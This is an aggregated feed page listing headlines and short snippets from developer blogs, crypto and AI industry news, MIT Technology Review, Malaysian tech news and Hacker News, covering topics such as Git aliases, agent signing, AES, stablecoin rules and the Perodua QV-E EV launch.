    Hey everyone! 👋 3-month journey of DataViz Kit, I’m back with another post. If you remember, I mentioned having a few "techniques up my sleeves" to try and crack the SEO code, especially since Google has been a tough nut to crack compared to Bing. Here is what I’ve been working on this week and how the numbers are looking. 🧪 The Experiments Programmatic SEO / Content Clusters: I started crafting articles for specific use cases. 📈 The Numbers (Week 1 Update) Bing: The growth is steady. The Heatmap Maker is still the star player here, bringing in about 50-100 clicks this week. Google: Still the "silent observer." I'm seeing impressions creep up slightly for new keywords, but clicks are flat. I suspect the changes I made this week will take 2-4 weeks to reflect here. 🛠️ Feature Updates Update: I pushed a small fix to the headers. Coming Soon: I’m experimenting with a new chart type. If the testing goes well, it should be live soon. 💭 Thoughts for the Week If you haven't checked it out yet, try my tool by creating a box plot, and let me know what's your opinion. See you in the next update. ✌️  ( 7 min )
    Pequenos atalhos Git que deixaram meu fluxo de trabalho muito mais rápido
    Uma pequena ferramenta que instala mais de 27 aliases Git com um único comando — economizando tempo, reduzindo fricção e mantendo seu foco no código. Pensa no seu fluxo típico: git status git add . git commit -m "fix: bug na autenticação" git push origin main Agora multiplica isso por 20–30 vezes por dia. centenas de teclas desnecessárias — todos os dias. E esse é só um dos muitos fluxos repetitivos que fazemos automaticamente. Depois de ver um colega usando aliases no .zshrc, eu quis algo: mais simples, mais limpo, multiplataforma, e que funcionasse em qualquer máquina sem esforço. Então eu criei o git-alias-flow — um pacote npm que instala mais de 27 aliases Git diretamente no Git. Nada de editar arquivos de configuração do sistema. npm install -g git-alias-flow gaf Pronto. Todas os al…  ( 8 min )
    Small shortcuts that made my Git workflow easier
    A tiny tool that installs 27+ Git aliases with one command — saving time, reducing friction, and keeping your focus on coding. Think about your typical workflow: git status git add . git commit -m "fix: bug in authentication" git push origin main Now multiply that by 20–30 times a day. hundreds of unnecessary keystrokes — every single day. And this is just one of many flows we repeat automatically. After seeing a colleague using Git aliases inside .zshrc, I wanted something easier, cleaner, and consistent across multiple machines. So I built git-alias-flow — an npm package that installs 27+ useful Git aliases directly into Git itself. No OS-specific config files. npm install -g git-alias-flow gaf Done. All aliases installed, ready to use anywhere. Before: git status git add . git commit …  ( 8 min )
    Built an AI Agent That Actually Runs Agile Sprints End-to-End (Not Just Ticket Generation)
    TL;DR What: An open-source Digital Scrum Master (DSM) - an autonomous AI agent that orchestrates complete Agile workflows on Kubernetes Who it's for: Platform engineers, AI architects, and DevOps teams building agentic systems Key takeaway: True agentic orchestration requires more than LLMs - you need episodic memory, event-driven architecture, and continuous learning loops Tech stack: Python, FastAPI, PostgreSQL + pgvector, Redis Streams, Kubernetes, Ollama Let's be honest - the current wave of "AI-powered project management" tools are disappointing. They generate tickets. They summarize stand-ups. Some write decent user stories. But none of them actually run a sprint. Here's what I mean: Jira + AI plugins: Still need humans to move tickets, plan sprints, track velocity Linear with A…  ( 14 min )
    Built an AI Agent That Actually Runs Agile Sprints End-to-End (Not Just Ticket Generation)
    TL;DR What: An open-source Digital Scrum Master (DSM) - an autonomous AI agent that orchestrates complete Agile workflows on Kubernetes Who it's for: Platform engineers, AI architects, and DevOps teams building agentic systems Key takeaway: True agentic orchestration requires more than LLMs - you need episodic memory, event-driven architecture, and continuous learning loops Tech stack: Python, FastAPI, PostgreSQL + pgvector, Redis Streams, Kubernetes, Ollama Let's be honest - the current wave of "AI-powered project management" tools are disappointing. They generate tickets. They summarize stand-ups. Some write decent user stories. But none of them actually run a sprint. Here's what I mean: Jira + AI plugins: Still need humans to move tickets, plan sprints, track velocity Linear with A…  ( 14 min )
    Hellow
    Hellow function() { console.log("OLA") }  ( 6 min )
    How to Secure LangChain Agents with Cryptographic Signatures (Tutorial)
    🚀 The Problem: Agents are "Anonymous Ghosts" Building an autonomous agent in LangChain is magical. You give it a tool like transfer_money, and it just works. But that magic is also a security nightmare. If your LLM hallucinates or gets prompt-injected, it can call that tool instantly. The API receiving the request has no idea if it was a valid user intent or a rogue agent. The request is just anonymous JSON. We need Attribution. We need the agent to SIGN its work. Prefer a visual explanation? I broke this architecture down into a 6-slide carousel on LinkedIn. It covers the "Why" and "How" in under a minute. I built the Agent Identity Protocol (AIP) to solve this. It is an open-source tool that gives your agent a local crypto wallet. Instead of just executing a tool blindly, we force the…  ( 8 min )
    [Boost]
    You're Not Building Netflix: Stop Coding Like You Are Adam - The Developer ・ Nov 23 #webdev #programming #architecture #typescript  ( 6 min )
    Animation as Strategy — Not Decoration
    View demo https://codepen.io/kspmultimedia/live/MYaGPmP Hi! I don't usually post much here but here's something I've been thinking about lately: I recently rebuilt this set of progress buttons as a practice project exploring how motion can communicate state change. Each button uses the same dark green fill but expresses progression differently: one flows horizontally, another condenses as it fills, and the third uses 3D perspective for a more dimensional feel. Motion Isn't Decoration — It's a Design Decision *Guide attention Meaningful Motion Helps People — Not Distracts Them Here are some principles I use: Story first, motion second Instead of adding animation to fill space, I ask: "What is the emotional or informational moment here?" Motion should amplify intent, not distract from it. Micro-interactions > big animations Subtle hover states, soft easing, scroll cues, gentle reveals — tiny moments make interfaces feel alive without overwhelming users or slowing sites down. Purpose before aesthetics Motion can highlight hierarchy, signal change, or guide direction. If it doesn't support the user journey, it's just noise. Accessibility is part of animation Reduced motion settings, predictable timing, readable transitions — this is how animation becomes inclusive instead of exclusive. Where I'm Growing Next If you're: *Exploring motion in Webflow or GSAP, I'd love to trade notes. *If you have examples of meaningful motion, share them — I'm always learning. *Just want to connecting, please do :)  ( 7 min )
  • Open

    U.S. FDIC Chief Says First GENIUS Act Regulations Heading for Proposal This Month
    FDIC Acting Chairman Travis Hill is set to testify at a House hearing that his agency is ready to propose a stablecoin application rule before the month is out.  ( 33 min )
    Vanguard Opens Platform to Crypto ETFs in Major Shift: Bloomberg
    The move will give access to the firm's 50 million clients to invest in regulated digital asset ETFs, a reversal from Vanguard's long-standing anti-crypto stance.  ( 32 min )
    Seller Exhaustion or a Bottom? Strategy Gains 11% From Session's Worst Levels
    Peter Schiff took a victory lap after the company Monday morning announced it had raised $1.44 billion via common stock sales as a reserve to pay preferred dividends for nearly two years.  ( 33 min )
    Kalshi Launches Tokenized Event Bets on Solana Blockchain: CNBC
    The prediction market is rolling out tokenized contracts on Solana to meet crypto traders where they already are, Kalshi told CNBC.  ( 32 min )
    Bitnomial Prepares to Debut First CFTC-Regulated Spot Crypto Market
    The move marks the first time spot crypto assets can trade on a federally regulated commodities venue, signaling the CFTC’s accelerating push to oversee retail digital-asset markets.  ( 32 min )
    JPMorgan and Strike CEO Jack Mallers Go Silent, Leaving 'Debanking' Questions Unanswered
    For now, Jack Mallers decided to not comment any further and JPMorgan declined to explain why it debanked the CEO of a company very similar to newly launched JPM Coin.  ( 35 min )
    U.S. House Lawmakers Detail Grievances Over Government's 'Choke Point 2.0'
    French Hill, the chairman of the House Financial Services Committee, issued a report outlining what went on at several U.S. crypto regulators in past years.  ( 34 min )
    Hedera Tumbles 10% to Crucial Support on Heavy Volume
    Hedera’s 10% drop on Dec. 1 has pushed HBAR back to a key support zone, where consolidation, fading volume, and institutional selling pressure are shaping the next move.  ( 33 min )
    Chainlink's LINK Slides 11% as Technical Breakdown Overshadows ETF Launch News
    The token broke below $12, breaching key support levels with heavy trading volume, confirming the downtrend.  ( 32 min )
    Bitcoin Mining Profitability Fell for Fourth Consecutive Month in November: JPMorgan
    The average network hashrate fell 1% last month after hitting record highs in October.  ( 30 min )
    ICP Slides as Breakdown Below $4.00 Triggers Elevated Volatility
    Sharp 24-hour decline sends Internet Computer into fresh multi-day lows, with a high-volume support breach defining the session  ( 31 min )
    BONK Slides 9% as Technical Breakdown Overshadows Swiss ETP Debut
    A new ETP listing in Switzerland failed to lift BONK as the memecoin fell to fresh cycle lows amid a sharp technical breach of key support.  ( 31 min )
    Digital Asset Treasuries Lead Crypto Stock Sell-Off as Bitcoin Falls to $84K
    Strategy fell to the lowest since October, 2024, and ether and solana treasury plays including BitMine, Sharplink, Solana Company, Upexi tumbled nearly 10%.  ( 31 min )
    European Authorities Seize $1.51B Bitcoin-Mixing Service Cryptomixer
    Europol dismantled a crypto-mixing platform it said is used by ransomware groups and darknet markets to launder bitcoin, seizing servers, data and $29 million in BTC.  ( 31 min )
    Canada Eyes Stablecoin Rules as Scotiabank Flags Limited Market Impact
    Scotiabank said Ottawa’s move toward a stablecoin framework is more about modernizing payments than reshaping broader financial markets.  ( 32 min )
    Tom Lee's BitMine Acquires 97K ETH, Eyeing Fusaka Upgrade, Fed Policy as Positive Catalysts
    The firm increased the pace of purchases from the previous week despite sitting on large unrealized losses on its ether bet.  ( 32 min )
    CoinDesk 20 Performance Update: Bitcoin (BTC) Drops 5.7% as Index Trades Lower
    Bitcoin Cash (BCH) also declined, shedding 4.8% over the weekend.  ( 28 min )
    Strategy Still the Premier Bitcoin Proxy, Benchmark Says, Rejecting ‘Doom’ Narrative
    The broker said fears over Strategy’s solvency are misplaced and the stock remains the strongest asymmetric bet on bitcoin.  ( 32 min )
    Strategy Establishes $1.44B Cash Reserve, Slashes 2025 Profit, BTC Yield Targets
    Led by Executive Chairman Michael Saylor, the company also added to its bitcoin holdings last week, bringing its total stack to 650,000 BTC.  ( 31 min )
    Polkadot Plunges 11% Breaking Below $2.05 Support Level Amid Broader Selloff
    DOT collapsed to $2.02 as technical breakdown accelerated on massive volume, exposing the psychological $2.00 level.  ( 31 min )
    Gleec Buys Komodo’s Cross-Chain DeFi Stack in $23.5M Deal
    The acquisition brings Komodo’s atomic-swap technology, token ecosystem and core developers under the Gleec umbrella.  ( 31 min )
    Filecoin Slumps More Than 10%
    The drop came as crypto markets fell across the board, with the CoinDesk 20 Index down nearly 7%.  ( 32 min )
    Crypto Markets Today: Hawkish BOJ Comments Spur Sharp BTC Downturn
    A sharp sell-off following the CME bitcoin futures open, compounded by hawkish signals from the Bank of Japan, dragged the CoinDesk 20 down nearly 6% on Monday.  ( 34 min )
    Hacked Down: Crypto Daybook Americas
    Your day-ahead look for Dec. 1, 2025  ( 38 min )
    Sony Bank Could Issue USD Stablecoin in U.S. Next Year: Nikkei
    The online banking arm of Sony Financial Group envisages the stablecoin being used to pay for games and anime.  ( 30 min )
    CNBC Veteran Jay Yarow Joins CoinDesk to Expand Media and Events
    Yarow will oversee CoinDesk Insights as its parent company looks to expand digital asset coverage across the globe.  ( 32 min )
    Israel’s Central Bank Signals Improved Stablecoin Oversight as Digital Shekel Plans Advance
    Bank of Israel Governor Amir Yaron said stablecoins can no longer be viewed as marginal, citing their trillion-dollar trading volumes and growing systemic risks.  ( 32 min )
    Ripple Can Now Offer Wider XRP, RLUSD Services After Singapore Regulator Approval
    The permissions give Ripple more bandwidth to offer token-based settlement and related payment services to banks, fintechs and crypto firms operating in the city-state.  ( 32 min )
    Japan to Cut Crypto Tax Burden to 20% Uniform Rate in Boost for Local Bitcoin Traders
    The proposed tax change, supported by the government, will categorize crypto profits under a separate-taxation framework.  ( 31 min )
    Ethereum's Fusaka Upgrade, Grayscale Chainlink Trust: Crypto Week Ahead
    Your look at what's coming in the week starting Dec. 1.  ( 36 min )
    HashKey Leads Hong Kong’s Crypto Market as Losses Deepen Ahead of IPO
    Ultra-low fees kept monetization in the basis-point range, leaving revenue unable to offset steep losses despite surging Hong Kong trading volumes.  ( 32 min )
    Bitcoin Drop Ends Up Liquidating $500M Bullish Bets in Early Asia Trading
    Binance, Hyperliquid, and Bybit saw over $160 million in liquidations each, with longs making up almost 90% of the total.  ( 32 min )
    Dogecoin Slumps 9% Amid Bitcoin Weakness. Is a Larger Dump Coming?
    The launch of DOGE ETFs from Grayscale and Bitwise saw only $2.16 million in inflows, failing to attract expected institutional interest.  ( 33 min )
    Bitcoin's Monthly MACD Flashes Red: Echoes of Past Bear Markets
    The key indicator's negative flip indicates downside volatility ahead.  ( 32 min )
    XRP Slides 7% as Technical Breakdown Opens Move to $1.80
    Despite expanding institutional infrastructure around XRP, short-term flows turned sharply bearish.  ( 32 min )
    China To Intensify Crackdown on Virtual Currencies, Including Stablecoins: Report
    Virtual currencies lack the legal status of fiat money, Chinese officials said during an intra-agency meeting on Friday.  ( 31 min )
    Asia Morning Briefing: Bitcoin Slides on Japan Bond Spike and BOJ Hike Bets
    Short-term Japanese yields reached their highest level since 2008, strengthening the yen and pressuring leveraged crypto positions during Hong Kong trading hours.  ( 32 min )
    Bitcoin, Ether, XRP Slide as December Begins With 'Yearn Incident'
    Major cryptocurrencies traded lower in early Asia as DeFi platform Yearn noted at "incident" in its yETH pool.  ( 32 min )
  • Open

    DeepSeek just dropped two insanely powerful AI models that rival GPT-5 and they're totally free
    Chinese artificial intelligence startup DeepSeek released two powerful new AI models on Sunday that the company claims match or exceed the capabilities of OpenAI's GPT-5 and Google's Gemini-3.0-Pro — a development that could reshape the competitive landscape between American tech giants and their Chinese challengers. The Hangzhou-based company launched DeepSeek-V3.2, designed as an everyday reasoning assistant, alongside DeepSeek-V3.2-Speciale, a high-powered variant that achieved gold-medal performance in four elite international competitions: the 2025 International Mathematical Olympiad, the International Olympiad in Informatics, the ICPC World Finals, and the China Mathematical Olympiad. The release carries profound implications for American technology leadership. DeepSeek has once aga…
    MIT offshoot Liquid AI releases blueprint for enterprise-grade small-model training
    When Liquid AI, a startup founded by MIT computer scientists back in 2023, introduced its Liquid Foundation Models series 2 (LFM2) in July 2025, the pitch was straightforward: deliver the fastest on-device foundation models on the market using the new "liquid" architecture, with training and inference efficiency that made small models a serious alternative to cloud-only large language models (LLMs) such as OpenAI's GPT series and Google's Gemini. The initial release shipped dense checkpoints at 350M, 700M, and 1.2B parameters, a hybrid architecture heavily weighted toward gated short convolutions, and benchmark numbers that placed LFM2 ahead of similarly sized competitors like Qwen3, Llama 3.2, and Gemma 3 on both quality and CPU throughput. The message to enterprises was clear: real-time…
    OpenAGI emerges from stealth with an AI agent that it claims crushes OpenAI and Anthropic
    A stealth artificial intelligence startup founded by an MIT researcher emerged this morning with an ambitious claim: its new AI model can control computers better than systems built by OpenAI and Anthropic — at a fraction of the cost. OpenAGI, led by chief executive Zengyi Qin, released Lux, a foundation model designed to operate computers autonomously by interpreting screenshots and executing actions across desktop applications. The San Francisco-based company says Lux achieves an 83.6 percent success rate on Online-Mind2Web, a benchmark that has become the industry's most rigorous test for evaluating AI agents that control computers. That score is a significant leap over the leading models from well-funded competitors. OpenAI's Operator, released in January, scores 61.3 percent on the sa…
    Capture the full value of your technology with financial intelligence
    As AI, cloud, and other technology investments soar, organizations have to make investment decisions with increased speed and clarity. Practices like FinOps, IT financial management (ITFM), and strategic portfolio management (SPM) help stakeholders evaluate opportunities and trade-offs for maximum value. But they depend on unified, reliable data. And that’s often where the challenge begins. AI can surface insights from data within specific domains, but important decisions rarely rely on a single source of data. To account for operational and organizational factors as well as financial impact, finance and IT teams have to cut through disconnected systems, outdated data, and inconsistent definitions of value. Real control over technology spend comes from financial intelligence — turning frag…
    Agent coordination is the missing piece in AI commerce — new AWS and Visa blueprints target the gap
    With some needed infrastructure now being developed for agentic commerce, enterprises will want to figure out how to participate in this new form of buying and selling. But it remains a fragmented Wild West with competing payment protocols, and it's unclear what enterprises need to do to prepare.  More cloud providers and AI model companies will start providing enterprises with the tools needed to begin building systems that enable agentic commerce. AWS, which will list Visa’s Intelligence Commerce platform on the AWS Marketplace, believes that making it easier to connect to tools that enable agentic payments would accelerate the adoption of agentic commerce.  While this doesn’t mean Amazon has formally adopted Visa’s Trusted Agent Protocol (TAP), which would bring the world’s largest e-co…
  • Open

    The State of AI: welcome to the economic singularity
    Welcome back to The State of AI, a new collaboration between the Financial Times and MIT Technology Review. Every Monday for the next two weeks, writers from both publications will debate one aspect of the generative AI revolution reshaping global power. This week, Richard Waters, FT columnist and former West Coast editor, talks with MIT…  ( 26 min )
    The Download: spotting crimes in prisoners’ phone calls, and nominate an Innovator Under 35
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. An AI model trained on prison phone calls now looks for planned crimes in those calls A US telecom company trained an AI model on years of inmates’ phone and video calls and…  ( 21 min )
    Nominations are now open for our global 2026 Innovators Under 35 competition
    We have some exciting news: Nominations are now open for MIT Technology Review’s 2026 Innovators Under 35 competition. This annual list recognizes 35 of the world’s best young scientists and inventors, and our newsroom has produced it for more than two decades.  It’s free to nominate yourself or someone you know, and it only takes…  ( 17 min )
    An AI model trained on prison phone calls now looks for planned crimes in those calls
    A US telecom company trained an AI model on years of inmates’ phone and video calls and is now piloting that model to scan their calls, texts, and emails in the hope of predicting and preventing crimes.  Securus Technologies president Kevin Elder told MIT Technology Review that the company began building its AI tools in…  ( 23 min )
  • Open

    W3F OpenGov Proposal Voting Guidelines
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  • Open

    Kaspersky Now Offering Free 1GB eSIM For Travellers
    Kaspersky, the Russian cybersecurity and antivirus provider, is now offering travellers its very own regional eSIM service. The complimentary service is available through the company’s eSIM Store, and part of its wider drive to inform users of the perils of cyberattacks and vulnerabilities. “Today’s consumers live so much of their lives through a single device. […] The post Kaspersky Now Offering Free 1GB eSIM For Travellers appeared first on Lowyat.NET.  ( 33 min )
    Singapore To Bar Smartphone Use In Secondary Schools Starting 2026
    Singapore, or more specifically its Ministry of Education, has tightened guidelines when it comes to smartphone use by secondary school students. Starting January 2026, secondary school students won’t be allowed to use their smartphones or and smartwatches during school time. This includes during recess and co-curricular activities. The Straits Times reports that currently, the use […] The post Singapore To Bar Smartphone Use In Secondary Schools Starting 2026 appeared first on Lowyat.NET.  ( 34 min )
    JBL Launches The Next Generation Of Bar Series…Well, Soundbars
    JBL officially launched the next generation of its Bar Series home cinema experience. The new soundbar series is a follow-up of the original Bar, with the “MK2” moniker at the back of each SKU denoting which model it is the successor to. Of course, the new Bar Series come with new and improved features that […] The post JBL Launches The Next Generation Of Bar Series…Well, Soundbars appeared first on Lowyat.NET.  ( 35 min )
    KTM Komuter Selatan To Launch In February
    The Keretapi Tanah Melayu (KTM) is set to expand further into the south of Malaysia, beyond its existing routes in the Klang Valley and the north. According to Johor Public Works, Transport, Infrastructure and Communications Committee chairman Mohamad Fazli Mohamad Salleh, the service is expected to begin in February, one month after the Electric Train […] The post KTM Komuter Selatan To Launch In February appeared first on Lowyat.NET.  ( 34 min )
    OpenSys Pilots PalmWav, A Prototype Palm-Recognition Payment Technology
    OpenSys Technologies Sdn Bhd has introduced PalmWav, a prototype palm-recognition technology for seamless, device-free payments in Malaysia. The system is designed to integrate with the country’s existing payment infrastructure, including PayNet’s MyDebit network. The prototype was recently showcased internally to OpenSys employees and key partners, piloted at two locations: Kom.Fi Café in Kuala Lumpur, and […] The post OpenSys Pilots PalmWav, A Prototype Palm-Recognition Payment Technology appeared first on Lowyat.NET.  ( 36 min )
    CelcomDigi Accepts 1,800 MHz, 2,600MHz Band Spectrum Assignment
    CelcomDigi has announced that it has accepted new spectrum assignments from the Malaysian Communications and Multimedia Commission (MCMC). More specifically, the telco has received assignments of 2x5MHz in the 1800MHz spectrum frequency band and 2×20 MHz of the 2600MHz spectrum frequency band. These took effect on 30 November, and are up until 30 June 2032 […] The post CelcomDigi Accepts 1,800 MHz, 2,600MHz Band Spectrum Assignment appeared first on Lowyat.NET.  ( 33 min )
    AMD Ryzen 7 9850XD With 5.6GHz Clock Confirmed
    AMD has listed the Ryzen 7 9850X3D CPU on its driver website, officially confirming the second rumoured 3D V-Cache CPU that is alleged to be announced, after the 9950X3D2. The existence of the 9850X3D was confirmed by dataminer Olrak29, who found the CPU being listed on AMD’s French driver page. We have verified that this […] The post AMD Ryzen 7 9850XD With 5.6GHz Clock Confirmed appeared first on Lowyat.NET.  ( 34 min )
    Perodua QV-E Battery Leasing Programme Explained
    Today, the long-awaited home-developed Perodua QV-E finally made its debut in the local market. Priced at RM80,000, this new EV hatchback comes with a unique ownership model where, the price does not include full ownership of the vehicle’s battery. For the first time in Malaysia, the national automaker has introduced a battery leasing programme known […] The post Perodua QV-E Battery Leasing Programme Explained appeared first on Lowyat.NET.  ( 37 min )
    New Microdrama-Focused sooka Shorts To Debut On 12 December 2025
    sooka has announced a new addition to its platform in the form of “sooka Shorts”. Set to launch on 12 December 2025, the new feature brings short-form narrative content directly to the Astro-owned streaming service, aligning with a wider shift in recent bite-sized viewing habit trends amongst users. sooka Shorts will debut with several early […] The post New Microdrama-Focused sooka Shorts To Debut On 12 December 2025 appeared first on Lowyat.NET.  ( 34 min )
    The AYANEO Next II Gets A 9-Inch OLED And Ryzen AI Max+ 395
    The AYANEO Next II is finally official, in all its voluminous glory. The gaming handheld console comes after years of teasing and what can only be assumed to be development hell, considering that the first time the console was announced was all the way back in 2022. Firstly, the Next II sounds and looks like […] The post The AYANEO Next II Gets A 9-Inch OLED And Ryzen AI Max+ 395 appeared first on Lowyat.NET.  ( 35 min )
    Black Shark Teases Qualcomm Collab With Snapdragon 8 Chipset
    Black Shark as a brand has stepped away from the gaming phone space for over three years now. Instead, the company has pushed out a handful of smartwatches for the past three years. But over the weekend, the brand has put up a teaser on its Malaysian Facebook page, which may suggest a return to […] The post Black Shark Teases Qualcomm Collab With Snapdragon 8 Chipset appeared first on Lowyat.NET.  ( 34 min )
    Perodua QV-E Test Drive: A Strong, Locally Made Entry Into The EV Market
    The much-anticipated Perodua QV-E has finally arrived and, as reported earlier, it comes with a price tag of RM80,000. While the features and specifications of the EV hatchback have been shared, I also had the opportunity to test-drive the car weeks before its official launch at the Sepang International Circuit. To recap, the QV-E features […] The post Perodua QV-E Test Drive: A Strong, Locally Made Entry Into The EV Market appeared first on Lowyat.NET.  ( 36 min )
    Experts Warn Of Fake AI Flood Video Surge On Social Media
    Analysts warn that the rising number of realistic AI-generated videos circulating on social media during the Northeast Monsoon confuses the public and adds new risks during disasters. They say people remain vulnerable to fabricated visuals of floods, storms and other emergencies, many of which look convincingly real. According to Bernama, AI-generated content following recent floods […] The post Experts Warn Of Fake AI Flood Video Surge On Social Media appeared first on Lowyat.NET.  ( 18 min )
    The QV-E, Perodua’s Homegrown EV, Officially Launches; Priced At RM80,000
    After much anticipation and a series of teasers, the national automaker Perodua has officially launched its first ever fully electric vehicle (EV), the QV-E. The launch of the locally developed EV was officiated by the Prime Minster, Datuk Seri Anwar Ibrahim. Design-wise, the QV-E comes with a sporty and futuristic stance, fitting well with the […] The post The QV-E, Perodua’s Homegrown EV, Officially Launches; Priced At RM80,000 appeared first on Lowyat.NET.  ( 37 min )
    KLIA Starts Enforcing Vehicle Access Management System (VAMS)
    KLIA started the trial run of what it calls the Vehicle Access Management System (VAMS) back in September. The idea is to speed up pick-ups and drop-offs, reducing kerbside congestion at airports. Those taking 10 minutes or longer for either process will in turn be charged a fee. After three months of what is claimed […] The post KLIA Starts Enforcing Vehicle Access Management System (VAMS) appeared first on Lowyat.NET.  ( 34 min )
    Malaysian Telco Apps Integrated With MyDigital ID Starting Today
    Telecommunications companies across Malaysia have begun integrating MyDigital ID’s verification technology into their mobile applications starting today, introducing a nationwide upgrade to mobile number security. The initiative, supported by the National Cyber Security Agency (NACSA) and coordinated by the Malaysian Communications and Multimedia Commission (MCMC), aims to prevent scam calls, identity spoofing and fraud involving […] The post Malaysian Telco Apps Integrated With MyDigital ID Starting Today appeared first on Lowyat.NET.  ( 36 min )

  • Open

    Algorithms for Optimization [pdf]
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    Bricklink suspends Marketplace operations in 35 countries
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    A Love Letter to FreeBSD
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    Ty
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    Stackoverflow Outage
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    "Boobs check" – Technique to verify if sites behind CDN are hosted in Iran
    Comments  ( 3 min )
    How to run phones while being struck by suicide drones
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    Hacking on the ReMarkable 2
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    By my count, Linux has 11% of the desktop market. Here's how I got that number
    Comments  ( 64 min )
    You Want Microservices, but Do You Need Them?
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    Program-of-Thought Prompting Outperforms Chain-of-Thought by 15% (2022)
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    NixOS 25.11 Released
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    Don't push AI down our throats
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    There is No Quintic Formula [video]
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    Writing a Good Claude.md
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    ETH-Zurich: Digital Design and Computer Architecture; 227-0003-10L, Spring, 2025
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    ESA Sentinel-1D delivers first high-resolution images
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    LLVM-MOS – Clang LLVM fork targeting the 6502
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    Atlas Shrugged
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    The Undermining of the CDC
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    Geothermal Breakthrough in South Texas Signals New Era for Ercot
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    Discovering that my smartphone had infiltrated my life
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    Norway wealth fund to vote for human rights report at Microsoft, against Nadella
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    Apple Desktop Bus Protocol (2021)
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    Beej's Guide to Learning Computer Science
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    Silicon Valley's man in the White House is benefiting himself and his friends
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    The Space of Minds
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    Qwen3-VL can scan two-hour videos and pinpoint nearly every detail
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    I Designed and Printed a Custom Nose Guard to Help My Dog with DLE
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  • Open

    How I Built an AI to Draw My Architecture Diagrams (Because My Wiki Kept Dying)
    The Paradox of Documentation Drift 🤖 A few months ago, I hit a wall. Using LLMs, I was shipping code faster than ever. Features were flying out the door. But three weeks later, when I had to debug a module I wrote... I had the code, but I had lost the context. I realized I was suffering from the silent killer of velocity: Documentation Drift. The code evolves, but the map stays static. I tried the "good developer" rituals—comments, Confluence updates, and manually drawing diagrams in Miro. But the moment I merged a new PR, the diagrams were dead. The Validation (We Need Maps, Not Books) 🧠 The answers confirmed my thesis: The problem isn't laziness. It's architecture. "Separate docs get stale and are often worse than useless." The truth is: We need living maps, not static books. The Solution: Building MIVNA 🛠️ The Result: Zero Drift, Zero Shadowing 📉 Visual First: Automatically generates high-level architecture diagrams. Legacy Safe: Instantly map that scary legacy module without needing a Senior Dev to "shadow" you for 3 days. Always Sync: If the code changes, the diagram changes. Period. I Need Your Help (Private Beta) 🧪 I’m opening the Private Beta for engineering teams who are tired of "Wiki Rot." I’m not looking for customers; I’m looking for builders to break it and tell me what sucks. Question: Does MIVNA fit your workflow? Do you prefer the diagrams in the PR or a centralized dashboard? 🔗 Check it out here: https://mivna-diagrams.lovable.app/ Let me know your thoughts in the comments!  ( 7 min )
    Day 16 of improving my Data Science skills
    Over the weekend I started the Introduction to Statistics in Python course, what stood out for me is numerical summary statistics - Measure of center. They help us summarize our data but choosing the correct "average" that truly represents the data is very important, else we will be fooled by extreme values. Data can lie to you if you use the wrong average. Imagine 5 kids with these allowances: ₦100, ₦120, ₦110, ₦130, ₦1,000,000 We use mean when the data is symmetrical (evenly spread) because: We use median when the data is skewed (has very big or very small values) because: In Real life: Recruiters use median salary, not mean, so one billionaire doesn't distort pay expectations. Learning this over again, made me understand the topic more clearly. Even on days when learning feels heavy, I'm grateful for every concept I now understand better than yesterday. -SP 🤍  ( 7 min )
    AES Algorithm for beginners
    AES is a symmetric-key encryption algorithm that is considered extremely secure, very easy to implement, and used in real world. This guide teaches you how to implement its 128-bit CTR mode variant, in C language. The procedure: You randomly generate a 128-bit cipher key You secretly share it with your friend (see note below). Then, when you want to send a secret message, you encrypt your message using your key. Send the encrypted message to your friend. Your friend decrypts it using the key you gave. Note: Secretly sharing the key is done using a protocol like Diffie-Hellman. It's not covered in this guide. You can use the data at link for test data. First half of the guide focuses on implementing the following function: void AES128( uint8_t* block, uint8_t* cipherKey) { } This function…  ( 16 min )
    Building "Trickster's Table": A Card Game Suite with Gemini AI Studio (zero coding)
    TL;DR: I built a pretty full feature, ad-free card game suite (Spades, Hearts, Solitaire) using Google's Gemini AI Studio in HOURS. Building on my earlier experiment: I built a game in less than day This article breaks down how Google AI Studio architected complex game states and help me designed a unique hybrid game mode called "Spadearts". Mobile card games today are plagued by ads, loot boxes, and clunky interfaces. I wanted to build Trickster's Table: a clean web app that feels like a premium native experience and runs instantly. The Stack: React 19: For fluid UI and state management. TypeScript: To check the complex game rules and scoring math. Tailwind CSS: For rapid styling and theming. Google GenAI: For powering the development workflow and in-game intelligence. Note…  ( 8 min )
    My Project 3: Building a Weather App with Python + Streamlit
    🌤️ Building a Weather App with Python + Streamlit (Using wttr.in API) Weather App using wttr.in, which provides weather data without requiring an API key. This project has two versions: Console Version (weather.py) Streamlit Web Version (weather_streamlit.py) 🧱 1. Project Overview Enter a city name Fetch live weather using wttr.in View temperature, condition, humidity Use it via console or a Streamlit web UI Simple, clean, and useful — exactly what I want for my Python practice. 📂 Project Structure 🌐 2. API Used: wttr.in I chose wttr.in because it: Requires no signup Returns JSON easily Works well for quick projects 🖥️ 3. Console Version (weather.py) Key features: Requests weather using requests library Shows temperature, weather description, humidity Gracefully handles err…  ( 8 min )
    GEO : Generative Engine Optimization - Applied
    This article provides a practical guide to implementing Generative Engine Optimization (GEO) in your projects. It's part two of a series exploring modern search optimization techniques for developers. Read part one here. Implementing Generative Engine Optimization (GEO) means structuring your content so AI engines like ChatGPT, Claude, and Google Gemini can easily parse, understand, and cite your work. While the first article in this series explained what GEO is and why it matters, this guide shows you how to apply GEO principles in real projects using Astro components. GEO implementation focuses on three core pillars: semantic HTML structure, explicit content formatting, and structured data markup. When combined, these techniques make your content both human-readable and machine-parseab…  ( 10 min )
    Conan in Neovim: One command to rule them all
    What is this about? Hello! I'm Igor — a Ukrainian developer who created a (maybe more-or-less famous) plugin for Neovim. It installs libraries for Python (pip), JavaScript (npm), Lua (luarocks), Rust (cargo), and more. Recently, I added Conan support and would love some feedback or advice! :LazyDevInstall fmt glfw glm Or as in recorded by me video: Resulting directories build_fmt/ ├── fmt-config.cmake ├── fmt-release-x86_64-data.cmake ├── other files... build_glfw/ ├── glfw-config.cmake ├── glfw-release-x86_64-data.cmake ├── ... build_glm/ ├── glm-config.cmake ├── glm-release-x86_64-data.cmake ├── ... Well, that`s simple question - all started from Pip3, then i created for Luarocks, then Rust, and then npm, and etc If you will watch to vim.org stat - ATTENTION - white theme: Github and thats my source of updates) You will see - 2025-11-12 -> 2025-11-28 And i can explain this - i needed time to develop this all, test, and etc. + i completely working solo so that also taking time Well, i can say only one thing - try my plugin, maybe you will love it! Thanks for attention, have a good day!  ( 7 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
